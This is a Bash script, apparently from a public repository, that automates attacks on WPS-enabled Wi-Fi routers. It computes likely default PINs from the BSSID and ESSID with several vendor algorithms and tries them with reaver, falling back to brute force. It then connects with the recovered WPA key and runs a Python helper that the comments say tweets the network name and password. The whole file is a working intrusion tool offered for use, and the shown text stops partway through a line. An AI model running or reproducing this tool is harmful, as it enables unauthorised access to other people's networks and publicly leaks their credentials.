wifiAutoWPS/wpssx.sh
wpssx.shRaw
1#!/bin/bash
2
3#
4# AVÍS
5# modificació del codi original, codi original de www.seguridadwirless.net
6# modificació per fer que l'execució sigui pràcticament autònoma, i que al
7# acabar es conecti a la xarxa wifi, i envii un tweet amb l'ESSID i la contrassenya
8#
9# data versió: 2015/01/01
10# Arnau
11#
12
13
14# www.seguridadwireless.net
15#
16# Búsqueda de redes con WPS activo (wash), cálculo del posible PIN por defecto
17# y prueba del PIN calculado (reaver)
18
19#######################################
20############# CHANGELOG #############
21#######################################
22# 30/12/2014 VERSION 3.2
23# - Solucionado bug en la cuenta atrás mientras escanea en busca de objetivos
24#
25# 02/03/2014 VERSION 3.1
26# - Solucionado bug al buscar el pin genérico en la base de datos cuando el objetivo tiene el ESSID cambiado.
27#
28# 26/02/2014 VERSION 3.0
29# - Solucionado bug al buscar el pin genérico en la base de datos cuando hay 2 macs iguales.
30# - Se limita el tiempo de espera para comprobar actualizaciones para que no se quede el script pillado si el server tarda en responder
31#
32# 11/02/2014 VERSION 2.9
33# - Añadia función de actualizar la base de datos al inicio del script (solo si hay internet lógicamente)
34
35# 07/02/2014 VERSION 2.8
36# - Las Orange-XXXX estaban "baneadas" por coincidir algunas macs con las VodafoneXXXX y daban falso positivo,
37# ahora solo se banean si el keygen es EasyboxWPS, ya que algunas son comatibles con el algoritmo ComputePIN
38
39# 03/02/2014 VERSION 2.7
40# - Reaparado un bug al mostrar el PIN en algunas ocasiones.
41#######################################
42#######################################
43
44# Variables globales
45SCRIPT="WPSPinGenerator"
46VERSION="3.2"
47KEYS="$HOME/swireless/$SCRIPT/Keys"
48TMP="/tmp/$SCRIPT"
49MACs_DB="$(cat "$HOME/swireless/patrones_conocidos.txt" 2>/dev/null|grep -v "^#")"
50
51CheckPatronesConocidos() {
52
53 BuscarESSID() {
54
55 while read LINEA; do
56
57 DB_ESSID="$(echo "$LINEA"|awk '{print $4}')"
58 CHECKESSID="$(echo "$DB_ESSID"|tr -d '?')"
59 if [ ${#DB_ESSID} -eq ${#ESSID} -a "$CHECKESSID" = "${ESSID:0:${#CHECKESSID}}" ]; then
60
61 KEYGEN="$(echo "$LINEA"|awk '{print $3}')"
62 [ "$KEYGEN" = "PINGENERICO" ] && PINGENERICO="$(echo "$LINEA"|rev|awk -F'\t' '{print $1}'|rev)"
63 SOPORTADA="SI"
64 break
65 fi
66 done <"$TMP/DB_CHECK.txt"
67 }
68
69 unset SOPORTADA KEYGEN PINGENERICO
70
71 [ "$(echo "$ESSID"|grep -x "^WiFi[0-9]*$")" ] && [ ${#ESSID} -eq 10 ] && return
72 #[ "${ESSID:0:3}" = "ONO" ] && [ ${#ESSID} -eq 7 ] && [ ! "$(echo "${ESSID:3:7}"|grep -x "^[[:xdigit:]]*0$")" ] && return
73
74 DB_CHECK1="$(echo "$MACs_DB"|grep "^??:??:??"|grep "WPS")"
75 echo "$DB_CHECK1" >"$TMP/DB_CHECK.txt"
76 BuscarESSID
77
78 if [ ! "$SOPORTADA" ]; then
79
80 DB_CHECK2="$(echo "$MACs_DB"|grep "^${BSSID:0:8}"|grep "WPS")"
81 if [ "$DB_CHECK2" ]; then
82
83 echo "$DB_CHECK2" >"$TMP/DB_CHECK.txt"
84 BuscarESSID
85
86 [ ! "$SOPORTADA" ] && SOPORTADA="¿?" && KEYGEN="$(echo "$DB_CHECK2"|head -1|awk '{print $3}')" && \
87 [ "$KEYGEN" = "PINGENERICO" ] && PINGENERICO="$(echo "$DB_CHECK2"|head -1|rev|awk -F'\t' '{print $1}'|rev)"
88 fi
89 fi
90
91 [ "$(echo "$ESSID"|grep -x "^Orange-[[:xdigit:]]*$")" ] && [ ${#ESSID} -eq 11 ] && [ "$KEYGEN" = "EasyboxWPS" ] && return
92
93 if [ ! "$SOPORTADA" ]; then
94
95 if [ "$(echo "$ESSID"|grep "^vodafone")" ] && [ ${#ESSID} -eq 12 ]; then
96
97 KEYGEN="ComputePIN"
98 SOPORTADA="¿?"
99
100 elif [ "$(echo "$ESSID"|grep "^MOVISTAR_")" ] && [ ${#ESSID} -eq 13 ]; then
101
102 PINGENERICO="12345670 71537573"
103 SOPORTADA="¿?"
104 fi
105 fi
106
107 KEYGEN_WPS[$countWPS]="$KEYGEN"
108 PIN_GENERICO[$countWPS]="$PINGENERICO"
109 SOPORTADA_WPS[$countWPS]="$SOPORTADA"
110}
111
112###################################################################
113###################################################################
114# Yeah Niroz was here, computePIN by ZaoChunsheng, C portado a bash
115function wps_pin_checksum() {
116
117pin=$(echo ${pin}+0|bc -l) # Le quitamos los ceros de la izquierda para que salga bien el checksum
118
119acum=0
120PIN_p2=0
121while [ $pin -gt 0 ]; do
122 acum=$(($acum + (3 * ($pin % 10))))
123 pin=$(($pin / 10))
124 acum=$(($acum + ($pin % 10)))
125 pin=$(($pin / 10))
126done
127result=$(((10 - ($acum % 10)) % 10))
128PIN_p2=$(($result % 10000000))
129}
130
131# Algoritmos del script WPSPIN
132WPSPIN() {
133CHECKESSID=$(echo $ESSID | cut -d '-' -f1)
134#DEBUTBSSID=$(echo $BSSID | cut -d ":" -f1,2,3)
135#CHECKBSSID=$(echo $DEBUTBSSID | tr -d ':')
136
137
138#segunda parte de bssid xx:xx:xx:XX:XX:XX
139BSSID_p2=$(echo $BSSID | cut -d ':' -f4-)
140
141#6 últimos dígitos de bssid sin ':'
142MAC=$(echo $BSSID_p2 | tr -d ':')
143
144#MAC = 6 últimos dígitos hex de la mac
145hex=$(echo -n $MAC | tr [:lower:] [:upper:]) #minúsculas a mayúsculas
146
147#PIN_p1 primera parte del pin, PIN_p2 segunda parte del pin
148PIN_p1=$(echo "ibase=16; $hex"|bc) #convertir hex a decimal
149#PIN_p1=$(printf '%d' 0x$hex) #convertir hex a decimal, otra forma
150
151PIN_p1a=$(($PIN_p1 % 10000000)) # elimina dígito más significativo de PIN_p1
152#PIN_p1b=$((($PIN_p1 % 10000000)+8)) # elimina dígito más significativo y suma 8
153#PIN_p1c=$((($PIN_p1 % 10000000)+14))
154
155pin=$PIN_p1a
156wps_pin_checksum
157PINWPS=$PIN_p1a$PIN_p2
158
159# Rellenamos con ceros a la izquierda hasta que el número sea de 8 dígitos
160while [ ${#PINWPS} -lt 8 ]; do PINWPS=0${PINWPS}; done
161
162#pin=$PIN_p1b
163#wps_pin_checksum
164#PINWPS2=$(printf "%07d%d" "$PIN_p1b" "$PIN_p2")
165
166#pin=$PIN_p1c
167#wps_pin_checksum
168#PINWPS3=$(printf "%07d%d" "$PIN_p1c" "$PIN_p2")
169}
170###################################################################
171###################################################################
172
173###################################################################
174###################################################################
175# Pin generator for FTE-XXXX (HG552c), original algorithm by kcdtv
176
177FTE_Keygen() {
178#FIN_ESSID=XXXX <- FTE-XXXX
179 FIN_ESSID=$(echo $ESSID | cut -d '-' -f2)
180
181#nos quedamos con el 4 par de la bssid xx:xx:xx:XX:xx:xx
182 PAR=$(echo $BSSID_p2 | cut -d ':' -f1)
183 PAR=$(echo $PAR | tr -d ':')
184
185#hex=AB1234, donde essid es FTE-1234 y bssid es xx:xx:xx:AB:xx:xx
186 hex=$(echo $PAR$FIN_ESSID)
187
188 MAC=$(printf '%d' 0x$hex) #hex to dec
189
190 PIN_p1=$((($MAC % 10000000)+7)) # elimina dígito más significativo de MAC y +7
191
192 pin=$PIN_p1
193 wps_pin_checksum
194 PINWPS=$PIN_p1$PIN_p2
195
196 # Rellenamos con ceros a la izquierda hasta que el número sea de 8 dígitos
197 while [ ${#PINWPS} -lt 8 ]; do PINWPS=0${PINWPS}; done
198}
199###################################################################
200###################################################################
201
202
203easybox_wps() {
204###################################################
205#
206# Generador de clave WPA y PIN WPS de VodafoneXXXX
207# Escrito en bash por geminis_demon - www.seguridadwireless.net
208# Algoritmo descubierto por Stefan Viehböck
209# Gracias a Coeman76 por explicar del funcionamiento del algoritmo
210#
211##################################################################
212
213# Función que convierte de hex a decimal
214hex2dec() {
215echo $1|sed 's,\(..\)\(..\)\(..\)\(..\),\4\3\2\1,g'|(read hex;echo $((0x${hex})))
216}
217
218# Cojemos los pares 5 y 6 del bssid
219PAR5=$(echo $BSSID|cut -d':' -f5)
220PAR6=$(echo $BSSID|cut -d':' -f6)
221
222# Concatenamos los pares 5 y 6 y los convertimos a decimal para sacar el serial
223SERIAL=$(hex2dec ${PAR5}${PAR6})
224
225# Rellenamos con ceros a la izquierda hasta que el número sea de 5 dígitos
226while [ ${#SERIAL} -lt 5 ]; do SERIAL=0${SERIAL}; done
227
228# Cojemos los 4 últimos dígitos del serial
229SERIAL2=$(echo $SERIAL|cut -c2)
230SERIAL3=$(echo $SERIAL|cut -c3)
231SERIAL4=$(echo $SERIAL|cut -c4)
232SERIAL5=$(echo $SERIAL|cut -c5)
233
234# Convertimos cada digito de los pares 4 y 5 a decimal
235DEC1=$(hex2dec $(echo $PAR5|cut -c1))
236DEC2=$(hex2dec $(echo $PAR5|cut -c2))
237DEC3=$(hex2dec $(echo $PAR6|cut -c1))
238DEC4=$(hex2dec $(echo $PAR6|cut -c2))
239
240# Hacemos la suma para obtener los 2 números maestros
241MAESTRO1=$(((${SERIAL2}+${SERIAL3}+${DEC3}+${DEC4})%16))
242MAESTRO2=$(((${SERIAL4}+${SERIAL5}+${DEC1}+${DEC2})%16))
243
244# Obtenemos los valores del PIN mediante formulas XOR
245PIN1=$((${MAESTRO1}^${SERIAL5}))
246PIN2=$((${MAESTRO1}^${SERIAL4}))
247PIN3=$((${MAESTRO2}^${DEC2}))
248PIN4=$((${MAESTRO2}^${DEC3}))
249PIN5=$((${DEC3}^${SERIAL5}))
250PIN6=$((${DEC4}^${SERIAL4}))
251PIN7=$((${MAESTRO1}^${SERIAL3}))
252
253# Concatenamos los valores y los convertimos a exadecimal
254PIN=$(printf "%x%x%x%x%x%x%x\n" $PIN1 $PIN2 $PIN3 $PIN4 $PIN5 $PIN6 $PIN7)
255
256# Convertimos las minusculas en mayusculas
257PIN=$(echo $PIN|tr '[:lower:]' '[:upper:]')
258
259# Convertimos los valores a decimal
260PIN=$(hex2dec $PIN)
261
262# Nos quedamos con los 7 últimos dígitos
263PIN=$(echo $PIN|rev|cut -c1-7|rev)
264
265# Añadimos el útimo digito calculado por el CheckSum
266pin=$PIN
267wps_pin_checksum
268PINWPS=$PIN$PIN_p2
269
270# Rellenamos con ceros a la izquierda hasta que el número sea de 8 dígitos
271while [ ${#PINWPS} -lt 8 ]; do PINWPS=0${PINWPS}; done
272}
273
274# Comprobar si la interface está conectada a internet
275CheckETH() {
276clear
277if [ ! "$(iwconfig $tarjselec|grep "Not-Associated")" ]; then
278 echo
279 echo "[0;31mPer evitar errors, la interfície \"$tarjselec\" no ha d'estar conectada a internet! [0m"
280 echo ""
281 echo "Presiona ENTER per tornar a l'inici"
282 read junk
283 menu
284fi
285}
286
287# Funcion de seleccionar el objetivo a atacar, la mayor parte del codigo ha sido sacado del script Multiattack de M.K
288SeleccionarObjetivo() {
289i=0
290redesWPS=0
291while read BSSID Channel RSSI WPSVersion WPSLocked ESSID;do
292 longueur=${#BSSID}
293 if [ $longueur -eq 17 ] ; then
294 i=$(($i+1))
295 WPSbssid[$i]=$BSSID
296 WPSCHANNEL[$i]=$Channel
297 WPSessid[$i]="$ESSID"
298 PWR[$i]=$RSSI
299 LOCK[$i]=$WPSLocked
300 fi
301 redesWPS=$i
302done <"$TMP/wash_capture"
303if [ "$redesWPS" = "0" ];then
304 clear
305 echo ""
306 echo ""
307 echo " * * * A T E N C I Ó * * * "
308 echo ""
309 echo " no s'ha trobat cap xarxa "
310 echo " amb WPS activat"
311 echo ""
312 echo " apreta ENTER per tornar a començar"
313 read junk
314 InfoAP="OFF"
315 menu
316else
317 clear
318 echo ""
319 echo " [1;32mLes següents xarxes són susceptibles a un atac amb REAVER[0m"
320 echo ""
321 echo -n " BSSID Algoritme Genéric Lock Senyal Canal ESSID"
322 [ "$FABRICANTES" = "1" ] && echo -en "\t\tFabricant"
323 echo ""
324 echo ""
325 countWPS=0
326 while [ 1 -le $i ]; do
327 countWPS=$(($countWPS+1))
328 ESSID="${WPSessid[$countWPS]}"
329 BSSID=${WPSbssid[$countWPS]}
330 PWR=$((${PWR[$countWPS]}+100))
331 CHANNEL=${WPSCHANNEL[$countWPS]}
332 LOCK=${LOCK[$countWPS]}
333 if [ "$LOCK" = "Yes" ]; then LOCK="[0;31mSI[0m"; else LOCK="NO"; fi
334
335 CheckPatronesConocidos
336 SOPORTADA_WPS="${SOPORTADA_WPS[$countWPS]}"
337 KEYGEN_WPS="${KEYGEN_WPS[$countWPS]}"
338 PIN_GENERICO="${PIN_GENERICO[$countWPS]}"
339
340 if [ "$PIN_GENERICO" ]; then
341
342 if [ "$SOPORTADA_WPS" = "SI" ]; then
343
344 GENERICO="[0;32mSI[0m"
345 else
346 GENERICO="[1;33m¿?[0m"
347 fi
348 else
349 GENERICO="NO"
350 fi
351
352
353 if [ "$KEYGEN_WPS" ] && [ "$KEYGEN_WPS" != "PINGENERICO" ]; then
354
355 if [ "$SOPORTADA_WPS" = "SI" ]; then
356
357 ALGORITMO="[0;32mSI[0m"
358 else
359 ALGORITMO="[1;33m¿?[0m"
360 fi
361 else
362 ALGORITMO="NO"
363 fi
364
365 WPA_TXT="$(echo "$ESSID")_$(echo $BSSID|tr ':' '-').txt"
366 if [ -f "$TMP/$WPA_TXT" ]; then
367 RESALTAR="\E[7m"
368 else
369 RESALTAR=""
370 fi
371
372 if [ "$FABRICANTES" = "1" ]; then
373 FABRICANTE="$(cat /etc/aircrack-ng/airodump-ng-oui.txt|grep -m1 "$(echo "${BSSID:0:8}"|tr ':' '-')"|awk -F'\t' '{print $3}')"
374 [ ! "$FABRICANTE" ] && FABRICANTE="Desconocido"
375 while [ ${#ESSID} -lt 13 ]; do ESSID="$ESSID "; done
376 ESSID="${ESSID:0:13}"
377 FABRICANTE="${FABRICANTE:0:14}"
378 else
379 FABRICANTE=""
380 fi
381
382 N=$countWPS
383 [ $N -lt 10 ] && N=" $N"
384 [ $PWR -lt 10 ] && PWR=" $PWR"
385 [ $CHANNEL -lt 10 ] && CHANNEL="$CHANNEL "
386
387 echo -e " $N) ${RESALTAR}$BSSID\E[0m $ALGORITMO $GENERICO $LOCK $PWR% $CHANNEL ${RESALTAR}$ESSID\E[0m $FABRICANTE"
388
389 i=$(($i-1))
390 done
391 i=$redesWPS
392 echo ""
393 echo " v) Vure/ocultar fabricants "
394 echo " 0) tornar a l'inici "
395 echo ""
396 echo ""
397 echo " --> [1;36mSelecciona una xarxa[0m"
398 read WPSoption
399 set -- ${WPSoption}
400
401 if [ "$WPSoption" = "V" -o "$WPSoption" = "v" ]; then
402 if [ "$FABRICANTES" = "1" ]; then
403 FABRICANTES=""; SeleccionarObjetivo
404 else
405 FABRICANTES=1; SeleccionarObjetivo
406 fi
407 elif [ $WPSoption -le $redesWPS ]; then
408 if [ "$WPSoption" = "0" ];then
409 menu
410 fi
411 ESSID=${WPSessid[$WPSoption]}
412 BSSID=${WPSbssid[$WPSoption]}
413 CHANNEL=${WPSCHANNEL[$WPSoption]}
414 PIN_GENERICO=${PIN_GENERICO[$WPSoption]}
415 KEYGEN_WPS=${KEYGEN_WPS[$WPSoption]}
416 clear
417 else
418 echo " Opció no vàlida... torna a escollir"
419 sleep 2
420 SeleccionarObjetivo
421 fi
422fi
423
424InfoAP="ON"
425ProbarPINCalculado
426}
427
428# Escanear con wash
429WashScan() {
430
431[ ! "$WIFI" ] && auto_select_monitor
432
433CheckETH
434
435# Nos aseguramos que que la interface está up para evitar problemas con las ralink
436ifconfig $tarjselec up
437
438echo ""
439echo " [1;33m--> [1;32m Temps d'escaneig 30s [0m"
440 SCANTIME=15
441
442echo ""
443echo " [1;33m--> [1;32m Escanejant tots els canals per defecte (de l'1 al 14) [0m"
444 SCANCHANNEL=""
445
446
447sleep 1
448tput clear
449tput sc
450
451if [ -e "$TMP/wash_capture" ]; then rm -rf "$TMP/wash_capture"; fi
452killall wash 2>/dev/null
453wash -D -i $WIFI -C $SCANCHANNEL -o $TMP/wash_capture 2>/dev/null
454sleep 1
455WashPID=$(pgrep wash)
456
457sleep $SCANTIME && kill $WashPID 2>/dev/null &
458sleep 1
459
460trap "kill $WashPID" SIGINT
461
462seconds=$SCANTIME
463while [ -e /proc/$WashPID ]; do
464 seconds=$(($seconds-1))
465 sleep 1
466 tput rc
467 tput ed
468 echo "[1;33mEscanejant en busca d'objectius... [1;36m$seconds[0m [1;33msegons (Ctrl+C para aturar)[0m"
469 echo ""
470 cat $TMP/wash_capture
471done
472
473cat "$TMP/wash_capture"|tail +3|sort -k3 -n >"$TMP/wash_capture.new"
474mv "$TMP/wash_capture.new" "$TMP/wash_capture"
475
476SeleccionarObjetivo
477}
478
479auto_select_monitor() {
480#! /bin/bash
481
482
483#############################################################################################################
484# Programa: monitormode
485# Autor: M.K. Maese Kamara
486#
487# Detectar tarjetas y montar en modo monitor
488
489#############################################################################################################
490
491
492#poner tarjeta en modo monitor AUTOMATICO
493
494clear
495t=0
496if [ ! "$WIFI" ]; then
497> $TEMP/wireless.txt
498cards=`airmon-ng|cut -d ' ' -f 1 | awk {'print $1'} |grep -v Interface #|grep -v mon `
499echo $cards >> $TEMP/wireless.txt
500tarj1=`cat $TEMP/wireless.txt | cut -d ' ' -f 1 | awk '{print $1}'`
501tarj2=`cat $TEMP/wireless.txt | cut -d ' ' -f 2 | awk '{print $1}'`
502rm -rf $TEMP/wireless.txt
503
504if [ ! "$tarj1" ]; then
505clear
506echo " * * * A T E N C I Ó * * * "
507 echo ""
508 echo " No s'ha trobat cap targeta wifi a l'equip"
509 echo ""
510 echo " Pulsa ENTER per tornar a l'inici"
511read yn
512menu
513fi
514
515if [ "$tarj1" = "$tarj2" ]; then
516tarj2=""
517fi
518
519tarjselec=$tarj1
520
521if [ "$tarj2" ] ;then
522echo
523echo
524echo " s'han trobat les següents targetes wifi a l'equip"
525echo
526
527airmon-ng |awk 'BEGIN { print "Tarjeta Chip Driver\n------- ------------------ ----------" } \
528 { printf "%-8s %-8s %-1s %10s\n", $1, $2, $3, $4 | "sort -r"}' |grep -v Interface |grep -v Chipset
529
530echo " Selecciona una per utilitzarla en mode monitor"
531echo
532
533tarj_wire=""
534tarjselec=""
535function selectarj {
536select tarjselec in `airmon-ng | awk {'print $1 | "sort -r"'} |grep -v Interface |grep -v Chipset `; do
537break;
538done
539
540if [ ! "$tarjselec" ]; then
541echo " La opció seleccionada no és vàlida"
542echo " Introdueix una opció vàlida..."
543selectarj
544fi
545}
546
547if [ ! "$tarjselec" ]; then
548selectarj
549fi
550
551echo ""
552echo "Interfície seleccionada: $tarjselec"
553
554# Limpieza de interface
555ifconfig $tarjselec down >/dev/null
556ifconfig $tarjselec up >/dev/null
557
558# Comprobación de interface
559CheckETH
560
561fi
562else
563echo
564fi
565tarjmonitor=${tarjselec:0:3}
566if [ "$tarjmonitor" != "mon" ] && [ ! "$WIFI" ];then
567echo ""
568echo ""
569echo " s'està montant la targeta en mode monitor, espera..."
570echo ""
571sleep 1
572
573airmon-ng start $tarjselec >/dev/null
574cards=`airmon-ng|cut -d ' ' -f 1 |awk {'print $1 | "sort -d"'} |grep -v Interface |grep -v wlan`
575largo=${#cards}
576final=$(($largo-4))
577WIFI=${cards:final}
578echo " $WIFI ----> S'utilitzarà en mode monitor."
579sleep 2
580
581else
582if [ ! "$WIFI" ];then
583WIFI="$tarjselec"
584
585echo ""
586echo " $WIFI ----> S'utilitzarà en mode monitor."
587sleep 2
588fi
589fi
590clear
591}
592
593#Función de desmontar tarjeta y salir, sacada de el script Multiattack de M.K.
594function DESMONTAR_tarj_y_salir {
595if [ "$WIFI" ]; then
596clear
597echo ""
598 echo ""
599 echo ""
600 echo " ####################################################################"
601 echo " ### ###"
602 echo " ### ¿Vols desmuntar la targeta abans de sortir? ###"
603 echo " ### ###"
604 echo " ### (n) no -> sortir sense desmuntar ###"
605 echo " ### (m) Menú -> tornar al menú principal ###"
606 echo " ### ENTER -> Desmuntar y Sortir ###"
607 echo " ### ###"
608 echo " ### ###"
609 echo " ####################################################################"
610 echo ""
611 echo ""
612read salida
613set -- ${salida}
614
615if [ "$salida" = "m" ]; then
616menu
617fi
618if [ "$salida" = "n" ]; then
619 echo ""
620echo " Fins aviat..."
621sleep 2
622clear
623exit
624fi
625echo "$WIFI Ha sigut desmuntada"
626airmon-ng stop $WIFI >/dev/null
627fi
628 echo ""
629echo " Fins aviat..."
630sleep 2
631clear
632 exit
633
634}
635
636ParsearReaver() {
637echo
638WPA_KEY="$(tail $TMP/reaver_capture|grep "WPA PSK:"|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)"
639if [ "$WPA_KEY" ]; then
640
641 if [ -f "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc.bak" ]; then
642 rm -f "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc.bak"
643 fi
644
645 PIN="$(tail $TMP/reaver_capture|grep "WPS PIN:"|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)"
646 WPA_TXT="$(echo "$ESSID")_$(echo $BSSID|tr ':' '-').txt"
647 echo "ESSID: $ESSID" > "$TMP/$WPA_TXT"
648 echo "BSSID: $BSSID" >> "$TMP/$WPA_TXT"
649 echo "PIN WPS: $PIN" >> "$TMP/$WPA_TXT"
650 echo "CLAU WPA: $WPA_KEY" >> "$TMP/$WPA_TXT"
651 nmcli d wifi connect $ESSID password $WPA_KEY iface wlan0
652 python enviatuitwifi.py $ESSID $WPA_KEY
653 cat $TMP/$WPA_TXT|sed -e 's/$/\r/' > "$KEYS/$WPA_TXT"
654 echo -e "\033[0;32mLa clau ha sigut guardada en \"$KEYS/$WPA_TXT\"\E[0m"
655
656else
657
658 if [ -f "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc.bak" ]; then
659 mv "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc.bak" "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc"
660 fi
661
662 echo "[1;31mNo ha sigut possible trobar la clau wpa.[0m"
663
664fi
665echo ""
666echo "Presiona enter per tornar al menú"
667read junk
668menu
669}
670
671ProbarPINCalculado() {
672
673LanzarReaver() {
674
675killall reaver 2>/dev/null
676reaver -D -i $WIFI -b $BSSID -c $CHANNEL -a -n -g 1 -p $PINWPS -vv -o $TMP/reaver_capture 2>/dev/null
677sleep 1
678ReaverPID=$(pgrep reaver)
679trap "kill $ReaverPID" SIGINT
680tail -F $TMP/reaver_capture --pid=$ReaverPID
681
682WPA_KEY="$(tail $TMP/reaver_capture|grep "WPA PSK:"|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)"
683if [ ! "$WPA_KEY" ]; then
684 if [ "$(tail $TMP/reaver_capture|grep "Quitting after 1")" ]; then
685 echo -e "[-] \033[0;31mPIN incorrecte\E[0m\n"
686 sleep 3
687 clear
688 else
689 echo -e "\n\033[0;31mEl procés s'ha aturat, no s'ha pogut provar el PIN\E[0m\n "
690 sleep 3
691 SeleccionarObjetivo
692 fi
693fi
694}
695
696ProbarGenerico() {
697Y=$(echo "$PIN_GENERICO"|tr ' ' '\n'|wc -l)
698X=0
699for PINWPS in $PIN_GENERICO; do
700 X=$(($X+1))
701 echo -e "\033[1;33mPovant amb el PIN genéric $X/$Y... (Ctrl+C per aturar)\E[0m\n "
702 LanzarReaver
703 [ "$WPA_KEY" ] && break
704done
705}
706
707ProbarComputePIN() {
708WPSPIN
709echo -e "\033[1;33mPovant amb algorite ComputePIN... (Ctrl+C per aturar)\E[0m\n "
710LanzarReaver
711}
712
713ProbarEasyboxWPS() {
714easybox_wps
715echo -e "\033[1;33mPovant amb EasyboxWPS... (Ctrl+C per aturar)\E[0m\n "
716LanzarReaver
717}
718
719ProbarFTE_Keygen() {
720FTE_Keygen
721echo -e "\033[1;33mPovant amb FTE_Keygen... (Ctrl+C per aturar)\E[0m\n "
722LanzarReaver
723}
724
725[ ! "$WIFI" ] && auto_select_monitor
726
727CheckETH
728
729# Nos aseguramos que que la interface está up para evitar problemas con las ralink
730ifconfig $tarjselec up
731
732if [ -f "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc" ]; then
733 cp "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc" "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc.bak"
734else
735 touch "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc.bak"
736fi
737
738WPA_KEY=""
739PINWPS=""
740
741[ "$PIN_GENERICO" ] && ProbarGenerico
742
743if [ "$KEYGEN_WPS" = "FTE_Keygen" ]; then
744
745 [ ! "$WPA_KEY" ] && ProbarFTE_Keygen
746 [ ! "$WPA_KEY" ] && ProbarComputePIN
747 [ ! "$WPA_KEY" ] && ProbarEasyboxWPS
748
749elif [ "$KEYGEN_WPS" = "EasyboxWPS" ]; then
750
751 [ ! "$WPA_KEY" ] && ProbarEasyboxWPS
752 [ ! "$WPA_KEY" ] && ProbarComputePIN
753
754else
755 [ ! "$WPA_KEY" ] && ProbarComputePIN
756 [ ! "$WPA_KEY" ] && ProbarEasyboxWPS
757fi
758
759ParsearReaver
760}
761
762FuerzaBruta() {
763
764[ ! "$WIFI" ] && auto_select_monitor
765
766CheckETH
767
768# Nos aseguramos que que la interface está up para evitar problemas con las ralink
769ifconfig $tarjselec up
770
771echo -e "\033[1;33mLlançant atac de força bruta... (Ctrl+C per aturar)\E[0m\n "
772
773killall reaver 2>/dev/null
774reaver -D -i $WIFI -b $BSSID -c $CHANNEL -a -n -vv -o $TMP/reaver_capture 2>/dev/null
775sleep 1
776ReaverPID=$(pgrep reaver)
777trap "kill $ReaverPID" SIGINT
778tail -F $TMP/reaver_capture --pid=$ReaverPID
779
780ParsearReaver
781}
782
783ActualizarBD() {
784
785 DB_LOCAL="$(cat "$HOME/swireless/patrones_conocidos.txt" 2>/dev/null|grep "^# VERSION [0-9]*$"|awk '{print $3}')"
786 DB_REMOTA="$(timeout -s SIGTERM 3 curl -s "http://downloadwireless.net/scripts-live/patrones_conocidos.txt"|grep "^# VERSION [0-9]*$"|awk '{print $3}')"
787
788 [ ! "$DB_REMOTA" ] && return
789
790 if [ ! "$DB_LOCAL" ] || [ $DB_LOCAL -lt $DB_REMOTA ]; then
791
792 [ ! -d "$HOME/swireless" ] && rm -rf "$HOME/swireless" && mkdir -p "$HOME/swireless"
793 [ ! "$(timeout -s SIGTERM 3 curl -s "http://downloadwireless.net/scripts-live/patrones_conocidos.txt" >"$HOME/swireless/patrones_conocidos.txt")" ] && return
794 DB_LOCAL=$DB_REMOTA
795
796 echo
797 echo " - La base de dades ha sigut actualitzada a la versió $DB_LOCAL"
798 echo
799
800 if [ "$(which dir2xzm)" ]; then
801
802 while true; do
803
804 read -p " - ¿Guardar en un módulo XZM? (s/n) " SN
805
806 if [ "$SN" = "S" -o "$SN" = "s" ]; then
807
808 mkdir -p "$TMP/patrones-conocidos-$DB_LOCAL-noarch-1sw$HOME/swireless"
809 cp -f "$HOME/swireless/patrones_conocidos.txt" "$TMP/patrones-conocidos-$DB_LOCAL-noarch-1sw$HOME/swireless"
810 dir2xzm "$TMP/patrones-conocidos-$DB_LOCAL-noarch-1sw" "$HOME/Desktop/patrones-conocidos-$DB_LOCAL-noarch-1sw.xzm" >/dev/null 2>&1
811
812 echo
813 echo " - S'ha creat un mòdul a $HOME/Desktop/patrones-conocidos-$DB_LOCAL-noarch-1sw.xzm"
814 echo
815 break
816
817 elif [ "$SN" = "N" -o "$SN" = "n" ]; then
818
819 break
820 fi
821
822 echo -en "\033[1A"
823 tput ed
824 done
825 fi
826
827 echo " - Presiona qualsevol tecla per continuar"
828 read -sn1
829 fi
830}
831
832# Menú principal
833menu() {
834clear
835echo "[1;34m AVÍS"
836echo "[1;35m modificació del codi original, codi original de www.seguridadwirless.net"
837echo "[1;36m modificació per fer que l'execució sigui pràcticament autònoma, i que al"
838echo "[1;36m acabar es conecti a la xarxa wifi, i envii un tweet amb l'ESSID i la contrassenya"
839echo "[1;35m pensat per executar-se sobre linux, amb reaver, wash, aircrack-ng i python instalats"
840echo " [0;32m"
841echo " data versió: 2015/01/01"
842echo " Arnau"
843echo " ----------------------------------------------------------------- "
844echo " VERSIO AUTOMATICA - EN PROVES ---------------------------------- "
845echo " ----------------------------------------------------------------- "
846sleep 2
847echo "--> som-hi!"
848sleep 1
849echo "[0;31m
850 __ __ ___ _
851 / / /\ \ \____ ___ / _ (_)_ __
852 \ \/ \/ / _ \/ __| / /_)/ | /_
853 \ /\ /| |_) \__ \ / ___/| | | | |
854 \/ \/ | __/|___/ \/ |_|_| |_| [1;33mGenerator $VERSION[0;31m
855 |_| www.seguridadwireless.net "
856echo ""
857echo " ****************************************************"
858echo " * [1;32m<<[0m Based on ZhaoChunsheng work & kcdtv script [1;32m>>[0;31m *"
859echo " ****************************************************[0m "
860echo " ----------------------------------------------------------------- "
861echo " VERSIO AUTOMATICA - EN PROVES ---------------------------------- "
862echo " ----------------------------------------------------------------- "
863####################################################################
864sleep 1
865echo " Versió base de dades: $DB_LOCAL"
866echo " ------------------------------------"
867sleep 1
868WashScan
869ProbarPINCalculado
870FuerzaBruta
871SeleccionarObjetivo
872DESMONTAR_tarj_y_salir
873}
874
875# Comprobación de usuario
876if [ $(id -u) -ne 0 ]; then
877 echo -e "\e[1;31m
878 has de ser root per executar l'script (sudo su).
879
880 Prueba: sudo bash $0
881\e[0m"
882
883 exit 1
884fi
885
886# Crear directorios si no existen
887if [ ! -d $TMP ]; then mkdir -p $TMP; fi
888if [ ! -d $KEYS ]; then mkdir -p $KEYS; fi
889if [ -d $HOME/Desktop/Wireless-Keys ]; then
